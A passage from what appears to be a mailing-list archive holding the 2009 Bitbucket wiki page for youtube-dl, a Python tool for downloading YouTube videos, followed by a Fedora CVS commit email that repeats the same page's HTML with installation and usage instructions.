						<li><a href="/rg3/youtube-dl/src/2793d3270ff9/">2009.06.29</a></li>
					
						<li><a href="/rg3/youtube-dl/src/cfc3202eb7b6/">2009.05.30</a></li>
					
						<li><a href="/rg3/youtube-dl/src/4bc5ac772e8a/">2009.05.25</a></li>
					
						<li><a href="/rg3/youtube-dl/src/3f498fb56291/">2009.05.23</a></li>
					
						<li><a href="/rg3/youtube-dl/src/31198e942e00/">2009.05.13</a></li>
					
						<li><a href="/rg3/youtube-dl/src/95b216d50f8a/">2009.05.11</a></li>
					
						<li><a href="/rg3/youtube-dl/src/c42582904adf/">2009.04.25</a></li>
					
						<li><a href="/rg3/youtube-dl/src/468b207ea6ee/">2009.04.06</a></li>
					
						<li><a href="/rg3/youtube-dl/src/1dd3c78e417e/">2009.03.28</a></li>
					
						<li><a href="/rg3/youtube-dl/src/8dc1b312077f/">2009.03.03</a></li>
					
						<li><a href="/rg3/youtube-dl/src/ef03a5f5f333/">2009.02.07</a></li>
					
						<li><a href="/rg3/youtube-dl/src/ee7b97092712/">2009.01.31</a></li>
					
						<li><a href="/rg3/youtube-dl/src/c72929f1680d/">2008.11.01</a></li>
					
						<li><a href="/rg3/youtube-dl/src/846c13fabe78/">2008.10.16</a></li>
					
						<li><a href="/rg3/youtube-dl/src/9636c1843c6f/">2008.09.20</a></li>
					
						<li><a href="/rg3/youtube-dl/src/385afd90ca13/">2008.08.09</a></li>
					
						<li><a href="/rg3/youtube-dl/src/afa03d33275e/">2008.07.22</a></li>
					
					</ul>
				</li>
			</ul>
		</div>
		
		
		<div class="cb"></div>
	</div>
	<div id="repo-desc" class="layout-box">
		
		
		<div id="repo-menu-links-mini" class="right">
			<ul>
				<li>
					<a href="/rg3/youtube-dl/rss/" class="noborder repo-menu-rss" title="RSS Feed for youtube-dl"></a>
				</li>
				<li>
					<a href="/rg3/youtube-dl/atom/" class="noborder repo-menu-atom" title="Atom Feed for youtube-dl"></a>
				</li>
				
				<li>
					<a href="/rg3/youtube-dl/pull/" class="tooltip noborder link-request-pull" title="Pull request"></a>
				</li>
				
				<li><a href="/rg3/youtube-dl/fork/" class="tooltip noborder link-fork" title="Fork"></a></li>
				
					<li><a href="/rg3/youtube-dl/hack/" class="tooltip noborder link-hack" title="Patch queue"></a></li>
				
				<li><a class="tooltip noborder link-download" title="Get source"></a>

					<ul>
						
						
							<li><a rel="nofollow" href="/rg3/youtube-dl/get/805624cfc278.zip" class="zip">zip</a></li>
							<li><a rel="nofollow" href="/rg3/youtube-dl/get/805624cfc278.gz" class="compressed">gz</a></li>
							<li><a rel="nofollow" href="/rg3/youtube-dl/get/805624cfc278.bz2" class="compressed">bz2</a></li>
						
						
					</ul>
				</li>
			</ul>
		</div>
		
		<h3>
			<a href="/rg3/">rg3</a> / 
			<a href="/rg3/youtube-dl/wiki/Home">youtube-dl</a>
			 <span>(<a href="http://bitbucket.org/rg3/youtube-dl/wiki/">http://bitbucket.org/rg3/youtube-dl/wiki/</a>)</span>
			
		</h3>
		
		
		
		
		
		<p class="repo-desc-description">youtube-dl is a small command-line program for downloading videos from <a href="http://YouTube.com" rel="nofollow">YouTube.com</a>.</p>
		
		<div id="repo-desc-cloneinfo">Clone this repository (size: 199.5 KB): <a href="http://bitbucket.org/rg3/youtube-dl/" onclick="$('#clone-url-ssh').hide();$('#clone-url-https').toggle();return(false);"><small>HTTPS</small></a> / <a href="ssh://hg at bitbucket.org/rg3/youtube-dl/" onclick="$('#clone-url-https').hide();$('#clone-url-ssh').toggle();return(false);"><small>SSH</small></a><br/>
		<pre id="clone-url-https">$ hg clone <a href="http://bitbucket.org/rg3/youtube-dl/">http://bitbucket.org/rg3/youtube-dl/</a></pre>
		
		<pre id="clone-url-ssh" style="display:none;">$ hg clone <a href="ssh://hg at bitbucket.org/rg3/youtube-dl/">ssh://hg at bitbucket.org/rg3/youtube-dl/</a></pre></div>
		
		<div class="cb"></div>
		<a href="#" id="toggle-repo-content"></a>
	</div>


			
			

	

<div class="global-divider-header issues-nav">	
	<div id="wiki-nav-links">
		<span class="right">
			<nobr>
				<small>hg clone http://bitbucket.org/rg3/youtube-dl/wiki/</small>
			</nobr>
		</span>
		
		
		<b><a href="/rg3/youtube-dl/wiki/Home" class="wiki-icon-home">Home</a></b>
		
		<a href="/rg3/youtube-dl/wiki/history/Home" class="wiki-icon-history">History</a>
		<a href="http://www.wikicreole.org/wiki/Creole1.0" class="wiki-icon-markup">Wiki Markup</a>
	</div>
	<div class="cb"></div>
</div>

	

	<div id="wiki">
		<p>?</p>
<h1 id="youtube-dl-download-videos-from-youtubecom">youtube-dl: Download videos from YouTube.com</h1>
<p>(and more...)</p>
<h2 id="what-is-it">What is it?</h2>
<p><em>youtube-dl</em> is a small command-line program to download videos from YouTube.com. It requires the <a href="http://www.python.org/">Python interpreter</a>, version 2.x (x being at least 4), and it's not platform specific. It should work in your Unix box, in Windows or in Mac OS X. The latest version is <strong>2009.09.13</strong>. It's released to the public domain, which means you can modify it, redistribute it or use it however you like.</p>
<p>I'll try to keep it updated if YouTube.com changes the way you access their videos. After all, it's a simple and short program. However, I can't guarantee anything. If you detect it stops working, check for new versions and/or inform me about the problem, indicating the program version you are using. If the program stops working and I can't solve the problem but you have a solution, I'd like to know it. If that happens and you feel you can maintain the program yourself, tell me. My contact information is at <a href="http://rg03.wordpress.com/contact-me/">rg03.wordpress.com</a>.</p>
<p>Thanks for all the feedback received so far. I'm glad people find my program useful.</p>
<h2 id="usage-instructions">Usage instructions</h2>
<p>In Windows, once you have installed the Python interpreter, save the program with the <em>.py</em> extension and put it somewhere in the PATH. Try to follow the <a href="/rg3/youtube-dl/wiki/youtube-dl_under_Windows_XP">guide to install youtube-dl under Windows XP</a>.</p>
<p>In Unix, download it, give it execution permission and copy it to one of the PATH directories (typically, <em>/usr/local/bin</em>).</p>
<p>After that, you should be able to call it from the command line as <em>youtube-dl</em> or <em>youtube-dl.py</em>. I will use <em>youtube-dl</em> in the following examples. Usage instructions are easy. Use <em>youtube-dl</em> followed by a video URL or identifier. Example: <em>youtube-dl "<code>http://www.youtube.com/watch?v=foobar</code>"</em>. The video will be saved to the file <em>foobar.flv</em> in that example. As YouTube.com videos are in Flash Video format, their extension should be <em>flv</em>. In Linux and other unices, video players using a recent version of <em>ffmpeg</em> can play them. That includes MPlayer, VLC, etc. Those two work under Windows and other platforms, but you could also get a specific FLV player of your taste.</p>
<p>If you try to run the program and you receive an error message containing the keyword <em>SyntaxError</em> near the end, it means your Python interpreter is too old.</p>
<h2 id="more-usage-tips">More usage tips</h2>
<ul><li>You can change the file name of the video using the -o option, like in <em>youtube-dl -o vid.flv "<code>http://www.youtube.com/watch?v=foobar</code>"</em>. Read the Output template section for more details on this.
</li><li>Some videos require an account to be downloaded, mostly because they're flagged as mature content. You can pass the program a username and password for a YouTube.com account with the -u and -p options, like <em>youtube-dl -u myusername -p mypassword "<code>http://www.youtube.com/watch?v=foobar</code>"</em>.
</li><li>The account data can also be read from the user .netrc file by indicating the -n or --netrc option. The machine name is youtube in that case.
</li><li>The simulate mode (activated with -s or --simulate) can be used to just get the real video URL and use it with a download manager if you prefer that option.
</li><li>The quiet mode (activated with -q or --quiet) can be used to supress all output messages. This allows, in systems featuring <em>/dev/stdout</em> and other similar special files, outputting the video data to standard output in order to pipe it to another program without interferences.
</li><li>The program can be told to simply print the final video URL to standard output using the -g or --get-url option.
</li><li>In a similar line, the -e or --get-title option tells the program to print the video title.
</li><li>The default filename is video_id.flv. But you can also use the video title in the filename with the -t or --title option, or preserve the literal title in the filename with the -l or --literal option.
</li><li>You can make the program append <em>&amp;fmt=something</em> to the URL by using the -f or --format option. This makes it possible to download high quality versions of the videos when available.
</li><li>The -b or --best-quality option can be used to download the highest available quality version of any given video.
</li><li>The -m or --mobile-version option is an alias for -f 17.
</li><li>The -d or --high-def option is an alias for -f 22.
</li><li>Normally, the program will stop on the first error, but you can tell it to attempt to download every video with the -i or --ignore-errors option.
</li><li>The -a or --batch-file option lets you specify a file to read URLs from. The file must contain one URL per line.
</li><li>The program can be told not to overwrite existing files using the -w or --no-overwrites option.
</li><li>It can be told to attempt to continue interrupted downloads with the -c or --continue option.
</li><li>For YouTube, you can also use the URL of a playlist, and it will download all the videos in that playlist.
</li><li>For YouTube, you can also use the special word ytsearch to download search results. With ytsearch it will download the first search result. With ytsearchN, where N is a number, it will download the first N results. With ytsearchall it will download every result for that search. In most systems you'll need to use quotes for multiple words. Example: <em>youtube-dl "ytsearch3:cute kittens"</em>.
</li><li><em>youtube-dl</em> honors the http_proxy environment variable if you want to use a proxy. Set it to something like <em><code>http://proxy.example.com:8080</code></em>, and do not leave the <em><code>http://</code></em> prefix out.
</li><li>You can get the program version by calling it as <em>youtube-dl -v</em> or <em>youtube-dl --version</em>.
</li><li>For usage instructions, use <em>youtube-dl -h</em> or <em>youtube-dl --help</em>.
</li><li>You can cancel the program at any time pressing Ctrl+C. It may print some error lines saying something about <em>KeyboardInterrupt</em>. That's ok.
</li></ul>
<h2 id="download-it">Download it</h2>
<p>Note that if you directly click on these hyperlinks, your web browser will most likely display the program contents. It's usually better to right-click on it and choose the appropriate option, normally called <em>Save Target As</em> or <em>Save Link As</em>, depending on the web browser you are using.</p>
<h3 id="httpbitbucketorgrg3youtube-dlraw20090913youtube-dl20090913"><a href="http://bitbucket.org/rg3/youtube-dl/raw/2009.09.13/youtube-dl">2009.09.13</a></h3>
<ul><li><strong>MD5</strong>: db4e6acf6876f5df4896724be0084980
</li><li><strong>SHA1</strong>: c76eca4489d625b76955d2eda76be19960bd9f3b
</li><li><strong>SHA256</strong>: d6ca29457644d3fca8915f50470d50a2599100365bfdc94784868d7884a98afe
</li></ul>
<h3 id="output-template">Output template</h3>
<p>The -o option allows users to indicate a template for the output file names. The basic usage is not to set any template arguments when downloading a single file, like in <em>youtube-dl -o funny_video.flv "<code>http://some/video</code>"</em>. However, it may contain special sequences that will be replaced when downloading each video. The special sequences have the format <strong>%(NAME)s</strong>. To clarify, that's a percent symbol followed by a name in parenthesis, followed by a lowercase S. Allowed names are:</p>
<ul><li><em>id</em>: The sequence will be replaced by the video identifier.
</li><li><em>url</em>: The sequence will be replaced by the video URL.
</li><li><em>uploader</em>: The sequence will be replaced by the nickname of the person who uploaded the video.
</li><li><em>title</em>: The sequence will be replaced by the literal video title.
</li><li><em>stitle</em>: The sequence will be replaced by a simplified video title, restricted to alphanumeric characters and dashes.
</li><li><em>ext</em>: The sequence will be replaced by the appropriate extension (like <em>flv</em> or <em>mp4</em>).
</li><li><em>epoch</em>: The sequence will be replaced by the Unix epoch when creating the file.
</li></ul>
<p>As you may have guessed, the default template is <em>%(id)s.%(ext)s</em>. When some command line options are used, it's replaced by other templates like <em>%(title)s-%(id)s.%(ext)s</em>. You can specify your own.</p>
<h2 id="authors">Authors</h2>
<ul><li>Ricardo Garcia Gonzalez: program core, YouTube.com InfoExtractor, metacafe.com InfoExtractor and YouTube playlist InfoExtractor.
</li><li>Danny Colligan: YouTube search InfoExtractor, ideas and patches.
</li><li>Many other people contributing patches, code, ideas and kind messages. Too many to be listed here. You know who you are. Thank you very much.
</li></ul>
<p>Copyright ? 2006-2009 Ricardo Garcia Gonzalez</p>

		
		
	</div>


			<div class="cb"></div>
		</div>
		<div class="cb footer-placeholder"></div>
	</div>
	<div id="footer-wrapper">
		<div id="footer">
			<a href="/site/terms/">TOS</a> | <a href="/site/privacy/">Privacy Policy</a> | <a href="http://blog.bitbucket.org/">Blog</a> | <a href="http://bitbucket.org/jespern/bitbucket/issues/new/">Report Bug</a> | <a href="http://groups.google.com/group/bitbucket-users">Discuss</a> | <a href="http://avantlumiere.com/">&copy; 2008-2009</a>
			| We run <small><b>
				<a href="http://www.djangoproject.com/">Django 1.1.0</a> / 
				<a href="http://bitbucket.org/jespern/django-piston/">Piston 0.2.3rc1</a> / 
				<a href="http://www.selenic.com/mercurial/">Hg 1.3.1</a> / 
				<a href="http://www.python.org">Python 2.5.2</a> /
				r2687
			</b></small>
		</div>
	</div>
	<script type="text/javascript">
	var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
	document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));
	</script>
	<script type="text/javascript">
	var pt = _gat._getTracker("UA-2456069-3");
	pt._trackPageview();
	</script>
</body>
</html>



From rafalzaq at fedoraproject.org  Fri Oct  9 16:50:39 2009
From: rafalzaq at fedoraproject.org (=?utf-8?q?Rafa=C5=82_Psota?=)
Date: Fri,  9 Oct 2009 16:50:39 +0000 (UTC)
Subject: rpms/youtube-dl/F-11 Home,NONE,1.1
Message-ID: <20091009165039.5E2D111C029B@cvs1.fedora.phx.redhat.com>

Author: rafalzaq

Update of /cvs/pkgs/rpms/youtube-dl/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27853

Added Files:
	Home 
Log Message:
forgot about Home file


--- NEW FILE Home ---
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" 
	"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
	<title>
	rg3 / youtube-dl / wiki / Home &mdash; bitbucket.org
</title>
	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
	<meta name="description" content="Mercurial hosting - we're here to serve." />
	<meta name="keywords" content="mercurial,hg,hosting,bitbucket,rg3,youtube-dl,is,a,small,command-line,program,for,downloading,videos,from,YouTube.com.,wiki" />
	<link rel="stylesheet" type="text/css" href="http://bitbucket.org/m/css/layout.css?12985842" />
	<link rel="stylesheet" type="text/css" href="http://bitbucket.org/m/css/print.css?12985842" media="print" />
	<link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="Bitbucket" />
	<link rel="icon" href="http://bitbucket.org/m/img/logo_new.png" type="image/png"/>
	<script type="text/javascript" src="http://bitbucket.org/m/js/lib/bundle.180909Sep.js?2152820"></script>
	
	<script type="text/javascript">
		$(document).ready(function() {
			Dropdown.init();
			$(".tooltip").tipsy({gravity:'s'});
		});
	</script>
	<noscript>
		<style type="text/css">
			.dropdown-container-text .dropdown {
				position: static !important;
			}
		</style>
	</noscript>

	<!--[if lt IE 7]>
	<style type="text/css">
	body {
		behavior: url(http://bitbucket.org/m/css/csshover.htc);
	}
	
	#issues-issue pre {
		white-space: normal !important;
	}
	
	.changeset-description {
		white-space: normal !important;
	}
	</style>
	<script type="text/javascript"> 
		$(document).ready(function(){ 
			$('#header-wrapper').pngFix();
			$('#sourcelist').pngFix();
			$('.promo-signup-screenshot').pngFix();
		}); 
	</script>
	<![endif]-->
	
	<link rel="stylesheet" href="http://bitbucket.org/m/css/highlight/trac.css" type="text/css" />
	<script type="text/javascript">
		$(document).ready(function() {
			$('#wiki table:not(.highlighttable)').addClass('wikitable');
			$('#wiki table.wikitable tr:even').addClass('crow2');
		});
	</script>

	
	<link href="/rg3/youtube-dl/rss/" rel="alternate nofollow" type="application/rss+xml" title="RSS Feed for youtube-dl" />

</head>
<body class="">
	<div id="main-wrapper">
		<div id="header-wrapper">
			<div id="header">
				<a href="/"><img src="http://bitbucket.org/m/img/logo_myriad.png" alt="Bitbucket" id="header-wrapper-logo" /></a>
				
					<div id="header-nav">
						<div id="header-nav-login-forms">
							<form action="/account/signin/" method="post">
								<fieldset>
									<input id="id_username_header" type="text" class="required login" name="username" value="username" maxlength="30" onfocus="if(this.value=='username'){this.value='';}; $(this).addClass('normaltext');" /> <input id="id_password_header" type="password" class="required login" name="password" value="password" maxlength="128" onfocus="if(this.value=='password'){this.value='';}; $(this).addClass('normaltext');" /> <input type="submit" name="blogin" value="&raquo;" style="display:none;" />
									<input type="hidden" name="next" value="/rg3/youtube-dl/wiki/Home"/>
								</fieldset>
							</form>
							<form name="fopenid" action="/account/signin/" method="post">
								<fieldset>
									<input id="id_openid_url" type="text" class="required openid" name="openid_url" maxlength="255" value="your OpenID URL" onfocus="if(this.value=='your OpenID URL'){this.value='';}; $(this).addClass('normaltext');" /> <input name="bsignin" type="submit" value="&raquo;" style="display: none;" />
									<input type="hidden" name="next" value="/rg3/youtube-dl/wiki/Home" />
								</fieldset>
							</form>
						</div>
						
						<ul class="right">
							<li><a href="/">Home</a></li>
							<li><a href="/plans/"><b>Plans &amp; Signup</b></a></li>
							<li><a href="/repo/all/">Repositories</a></li>
							<li><a href="/news/">News</a></li>
							<li><a href="/help/">Help</a></li>
							<li><a href="/account/signin/">Login</a></li>
						</ul>
					</div>
				
			</div>
		</div>
		<div id="content-wrapper">
			
			
			

			
			
			
	
	





	<script type="text/javascript" src="http://bitbucket.org/m/js/lib/jquery.cookie.js"></script> <!--REMOVE WHEN NEWER BUNDLE THAN 030309Mar -->
	<script type="text/javascript">
		var date = new Date();
		date.setTime(date.getTime() + (365 * 24 * 60 * 60 * 1000));
		var cookieoptions = { path: '/', expires: date };
		
		$(document).ready(function(){
			$('#toggle-repo-content').click(function(){
				$('#repo-desc-cloneinfo').toggle('fast');
				$('#repo-menu').toggle();
				$('#repo-menu-links-mini').toggle(100);
				$('.repo-desc-description').toggle('fast');
				var avatar_new_width = ($('.repo-avatar').width() == 35) ? 16 : 35;
				$('.repo-avatar').animate({ width: avatar_new_width }, 250);
				
				if ($.cookie('toggle_status') == 'hide') {
					$.cookie('toggle_status', 'show', cookieoptions);
					$(this).css('background-image','url(http://bitbucket.org/m/img/repo-toggle-up.png)');
				} else {
					$.cookie('toggle_status', 'hide', cookieoptions);
					$(this).css('background-image','url(http://bitbucket.org/m/img/repo-toggle-down.png)');
				}
			});
			
			if ($.cookie('toggle_status') == 'hide') {
				$('#toggle-repo-content').css('background-image','url(http://bitbucket.org/m/img/repo-toggle-down.png)');
				$('#repo-desc-cloneinfo').hide();
				$('#repo-menu').hide();
				$('#repo-menu-links-mini').show();
				$('.repo-desc-description').hide();
				$('.repo-avatar').css({ width: '16px' });
			} else {
				$('#toggle-repo-content').css('background-image','url(http://bitbucket.org/m/img/repo-toggle-up.png)');
				$('#repo-desc-cloneinfo').show();
				$('#repo-menu').show();
				$('#repo-menu-links-mini').hide();
				$('.repo-desc-description').show();
				$('.repo-avatar').css({ width: '35px' });
			}
		});
	</script>


<div id="tabs">
	<ul class="ui-tabs-nav">
		<li>
			<a href="/rg3/youtube-dl/overview/"><span>Overview</span></a>
		</li>

		<li>
			<a href="/rg3/youtube-dl/downloads/"><span>Downloads (0)</span></a>
		</li>
		
		

		<li>
			
				<a href="/rg3/youtube-dl/src/"><span>Source</span></a>			
			
		</li>
		
		<li>
			<a href="/rg3/youtube-dl/changesets/"><span>Changesets</span></a>
		</li>

		
			
				<li class="ui-tabs-nav-issues ui-tabs-selected">
					<a href="/rg3/youtube-dl/wiki/"><span>Wiki</span></a>
				</li>
			
		

		
			
				<li class="ui-tabs-nav-issues">
					<a href="/rg3/youtube-dl/issues/?status=new&amp;status=open"><span>Issues (4) &raquo;</span></a>
					<ul>
						<li><a href="/rg3/youtube-dl/issues/?status=new">New issues</a></li>
						<li><a href="/rg3/youtube-dl/issues/?status=new&amp;status=open">Open issues</a></li>
						<li><a href="/rg3/youtube-dl/issues/?status=resolved&amp;status=invalid&amp;status=duplicate">Closed issues</a></li>
					
						<li><a href="/rg3/youtube-dl/issues/">All issues</a></li>
						<li><a href="/rg3/youtube-dl/issues/query/">Advanced query</a></li>
						<li><a href="/rg3/youtube-dl/issues/new/">Create new issue</a></li>
					</ul>
				</li>
			
		
				
		
			
		
		
		<li class="tabs-right tabs-far-right">
			<a href="/rg3/youtube-dl/descendants/"><span>Forks/Queues (3)</span></a>
		</li>
		
		<li class="tabs-right">
			<a href="/rg3/youtube-dl/zealots/"><span>Followers (21)</span></a>
		</li>
	</ul>
</div>

<div id="repo-menu">
		<div id="repo-menu-links">
			<ul>
				<li>
					<a href="/rg3/youtube-dl/rss/" class="noborder repo-menu-rss" title="RSS Feed for youtube-dl">RSS</a>
				</li>
				<li>
					<a href="/rg3/youtube-dl/atom/" class="noborder repo-menu-atom" title="Atom Feed for youtube-dl">Atom</a>
				</li>
				
				<li>
					<a href="/rg3/youtube-dl/pull/" class="link-request-pull">
						pull request
					</a>
				</li>
				
				<li><a href="/rg3/youtube-dl/fork/" class="link-fork">fork</a></li>
				
					<li><a href="/rg3/youtube-dl/hack/" class="link-hack">patch queue</a></li>
				
				<li>
					
						<a rel="nofollow" href="/rg3/youtube-dl/follow/" class="link-follow">follow</a>
					
				</li>
				<li><a class="link-download">get source &raquo;</a>

					<ul>
						
						
							<li><a rel="nofollow" href="/rg3/youtube-dl/get/805624cfc278.zip" class="zip">zip</a></li>
							<li><a rel="nofollow" href="/rg3/youtube-dl/get/805624cfc278.gz" class="compressed">gz</a></li>
							<li><a rel="nofollow" href="/rg3/youtube-dl/get/805624cfc278.bz2" class="compressed">bz2</a></li>
						
						
					</ul>
				</li>
			</ul>
		</div>
		
		
		<div id="repo-menu-branches-tags">
 			<ul>
				<li class="icon-branches">
					branches &raquo;
					
					<ul>
					
						<li><a href="/rg3/youtube-dl/src/805624cfc278/">default</a></li>
					
					</ul>
					
				</li>
				<li class="icon-tags">
					tags &raquo;
					
					<ul>
					
						<li><a href="/rg3/youtube-dl/src/805624cfc278/">tip</a></li>
					
						<li><a href="/rg3/youtube-dl/src/6947c04fb1b4/">2009.09.13</a></li>
					
						<li><a href="/rg3/youtube-dl/src/4597eb63af5c/">2009.09.08</a></li>
					
						<li><a href="/rg3/youtube-dl/src/df8b882d8b39/">2009.08.08</a></li>
					
						<li><a href="/rg3/youtube-dl/src/2793d3270ff9/">2009.06.29</a></li>
					
						<li><a href="/rg3/youtube-dl/src/cfc3202eb7b6/">2009.05.30</a></li>
					
						<li><a href="/rg3/youtube-dl/src/4bc5ac772e8a/">2009.05.25</a></li>
					
						<li><a href="/rg3/youtube-dl/src/3f498fb56291/">2009.05.23</a></li>
					
						<li><a href="/rg3/youtube-dl/src/31198e942e00/">2009.05.13</a></li>
					
						<li><a href="/rg3/youtube-dl/src/95b216d50f8a/">2009.05.11</a></li>
					
						<li><a href="/rg3/youtube-dl/src/c42582904adf/">2009.04.25</a></li>
					
						<li><a href="/rg3/youtube-dl/src/468b207ea6ee/">2009.04.06</a></li>
					
						<li><a href="/rg3/youtube-dl/src/1dd3c78e417e/">2009.03.28</a></li>
					
						<li><a href="/rg3/youtube-dl/src/8dc1b312077f/">2009.03.03</a></li>
					
						<li><a href="/rg3/youtube-dl/src/ef03a5f5f333/">2009.02.07</a></li>
					
						<li><a href="/rg3/youtube-dl/src/ee7b97092712/">2009.01.31</a></li>
					
						<li><a href="/rg3/youtube-dl/src/c72929f1680d/">2008.11.01</a></li>
					
						<li><a href="/rg3/youtube-dl/src/846c13fabe78/">2008.10.16</a></li>
					
						<li><a href="/rg3/youtube-dl/src/9636c1843c6f/">2008.09.20</a></li>
					
						<li><a href="/rg3/youtube-dl/src/385afd90ca13/">2008.08.09</a></li>
					
						<li><a href="/rg3/youtube-dl/src/afa03d33275e/">2008.07.22</a></li>
					
					</ul>
				</li>
			</ul>
		</div>
		
		
		<div class="cb"></div>
	</div>
	<div id="repo-desc" class="layout-box">
		
		
		<div id="repo-menu-links-mini" class="right">
			<ul>
				<li>
					<a href="/rg3/youtube-dl/rss/" class="noborder repo-menu-rss" title="RSS Feed for youtube-dl"></a>
				</li>
				<li>
					<a href="/rg3/youtube-dl/atom/" class="noborder repo-menu-atom" title="Atom Feed for youtube-dl"></a>
				</li>
				
				<li>
					<a href="/rg3/youtube-dl/pull/" class="tooltip noborder link-request-pull" title="Pull request"></a>
				</li>
				
				<li><a href="/rg3/youtube-dl/fork/" class="tooltip noborder link-fork" title="Fork"></a></li>
				
					<li><a href="/rg3/youtube-dl/hack/" class="tooltip noborder link-hack" title="Patch queue"></a></li>
				
				<li><a class="tooltip noborder link-download" title="Get source"></a>

					<ul>
						
						
							<li><a rel="nofollow" href="/rg3/youtube-dl/get/805624cfc278.zip" class="zip">zip</a></li>
							<li><a rel="nofollow" href="/rg3/youtube-dl/get/805624cfc278.gz" class="compressed">gz</a></li>
							<li><a rel="nofollow" href="/rg3/youtube-dl/get/805624cfc278.bz2" class="compressed">bz2</a></li>
						
						
					</ul>
				</li>
			</ul>
		</div>
		
		<h3>
			<a href="/rg3/">rg3</a> / 
			<a href="/rg3/youtube-dl/wiki/Home">youtube-dl</a>
			 <span>(<a href="http://bitbucket.org/rg3/youtube-dl/wiki/">http://bitbucket.org/rg3/youtube-dl/wiki/</a>)</span>
			
		</h3>
		
		
		
		
		
		<p class="repo-desc-description">youtube-dl is a small command-line program for downloading videos from <a href="http://YouTube.com" rel="nofollow">YouTube.com</a>.</p>
		
		<div id="repo-desc-cloneinfo">Clone this repository (size: 199.5 KB): <a href="http://bitbucket.org/rg3/youtube-dl/" onclick="$('#clone-url-ssh').hide();$('#clone-url-https').toggle();return(false);"><small>HTTPS</small></a> / <a href="ssh://hg at bitbucket.org/rg3/youtube-dl/" onclick="$('#clone-url-https').hide();$('#clone-url-ssh').toggle();return(false);"><small>SSH</small></a><br/>
		<pre id="clone-url-https">$ hg clone <a href="http://bitbucket.org/rg3/youtube-dl/">http://bitbucket.org/rg3/youtube-dl/</a></pre>
		
		<pre id="clone-url-ssh" style="display:none;">$ hg clone <a href="ssh://hg at bitbucket.org/rg3/youtube-dl/">ssh://hg at bitbucket.org/rg3/youtube-dl/</a></pre></div>
		
		<div class="cb"></div>
		<a href="#" id="toggle-repo-content"></a>
	</div>


			
			

	

<div class="global-divider-header issues-nav">	
	<div id="wiki-nav-links">
		<span class="right">
			<nobr>
				<small>hg clone http://bitbucket.org/rg3/youtube-dl/wiki/</small>
			</nobr>
		</span>
		
		
		<b><a href="/rg3/youtube-dl/wiki/Home" class="wiki-icon-home">Home</a></b>
		
		<a href="/rg3/youtube-dl/wiki/history/Home" class="wiki-icon-history">History</a>
		<a href="http://www.wikicreole.org/wiki/Creole1.0" class="wiki-icon-markup">Wiki Markup</a>
	</div>
	<div class="cb"></div>
</div>

	

	<div id="wiki">
		<p>?</p>
<h1 id="youtube-dl-download-videos-from-youtubecom">youtube-dl: Download videos from YouTube.com</h1>
<p>(and more...)</p>
<h2 id="what-is-it">What is it?</h2>
<p><em>youtube-dl</em> is a small command-line program to download videos from YouTube.com. It requires the <a href="http://www.python.org/">Python interpreter</a>, version 2.x (x being at least 4), and it's not platform specific. It should work in your Unix box, in Windows or in Mac OS X. The latest version is <strong>2009.09.13</strong>. It's released to the public domain, which means you can modify it, redistribute it or use it however you like.</p>
<p>I'll try to keep it updated if YouTube.com changes the way you access their videos. After all, it's a simple and short program. However, I can't guarantee anything. If you detect it stops working, check for new versions and/or inform me about the problem, indicating the program version you are using. If the program stops working and I can't solve the problem but you have a solution, I'd like to know it. If that happens and you feel you can maintain the program yourself, tell me. My contact information is at <a href="http://rg03.wordpress.com/contact-me/">rg03.wordpress.com</a>.</p>
<p>Thanks for all the feedback received so far. I'm glad people find my program useful.</p>
<h2 id="usage-instructions">Usage instructions</h2>
<p>In Windows, once you have installed the Python interpreter, save the program with the <em>.py</em> extension and put it somewhere in the PATH. Try to follow the <a href="/rg3/youtube-dl/wiki/youtube-dl_under_Windows_XP">guide to install youtube-dl under Windows XP</a>.</p>
<p>In Unix, download it, give it execution permission and copy it to one of the PATH directories (typically, <em>/usr/local/bin</em>).</p>
<p>After that, you should be able to call it from the command line as <em>youtube-dl</em> or <em>youtube-dl.py</em>. I will use <em>youtube-dl</em> in the following examples. Usage instructions are easy. Use <em>youtube-dl</em> followed by a video URL or identifier. Example: <em>youtube-dl "<code>http://www.youtube.com/watch?v=foobar</code>"</em>. The video will be saved to the file <em>foobar.flv</em> in that example. As YouTube.com videos are in Flash Video format, their extension should be <em>flv</em>. In Linux and other unices, video players using a recent version of <em>ffmpeg</em> can play them. That includes MPlayer, VLC, etc. Those two work under Windows and other platforms, but you could also get a specific FLV player of your taste.</p>
<p>If you try to run the program and you receive an error message containing the keyword <em>SyntaxError</em> near the end, it means your Python interpreter is too old.</p>
<h2 id="more-usage-tips">More usage tips</h2>
<ul><li>You can change the file name of the video using the -o option, like in <em>youtube-dl -o vid.flv "<code>http://www.youtube.com/watch?v=foobar</code>"</em>. Read the Output template section for more details on this.
</li><li>Some videos require an account to be downloaded, mostly because they're flagged as mature content. You can pass the program a username and password for a YouTube.com account with the -u and -p options, like <em>youtube-dl -u myusername -p mypassword "<code>http://www.youtube.com/watch?v=foobar</code>"</em>.
</li><li>The account data can also be read from the user .netrc file by indicating the -n or --netrc option. The machine name is youtube in that case.
</li><li>The simulate mode (activated with -s or --simulate) can be used to just get the real video URL and use it with a download manager if you prefer that option.
</li><li>The quiet mode (activated with -q or --quiet) can be used to supress all output messages. This allows, in systems featuring <em>/dev/stdout</em> and other similar special files, outputting the video data to standard output in order to pipe it to another program without interferences.
</li><li>The program can be told to simply print the final video URL to standard output using the -g or --get-url option.
</li><li>In a similar line, the -e or --get-title option tells the program to print the video title.
</li><li>The default filename is video_id.flv. But you can also use the video title in the filename with the -t or --title option, or preserve the literal title in the filename with the -l or --literal option.
</li><li>You can make the program append <em>&amp;fmt=something</em> to the URL by using the -f or --format option. This makes it possible to download high quality versions of the videos when available.
</li><li>The -b or --best-quality option can be used to download the highest available quality version of any given video.
</li><li>The -m or --mobile-version option is an alias for -f 17.
</li><li>The -d or --high-def option is an alias for -f 22.
</li><li>Normally, the program will stop on the first error, but you can tell it to attempt to download every video with the -i or --ignore-errors option.
</li><li>The -a or --batch-file option lets you specify a file to read URLs from. The file must contain one URL per line.
</li><li>The program can be told not to overwrite existing files using the -w or --no-overwrites option.
</li><li>It can be told to attempt to continue interrupted downloads with the -c or --continue option.
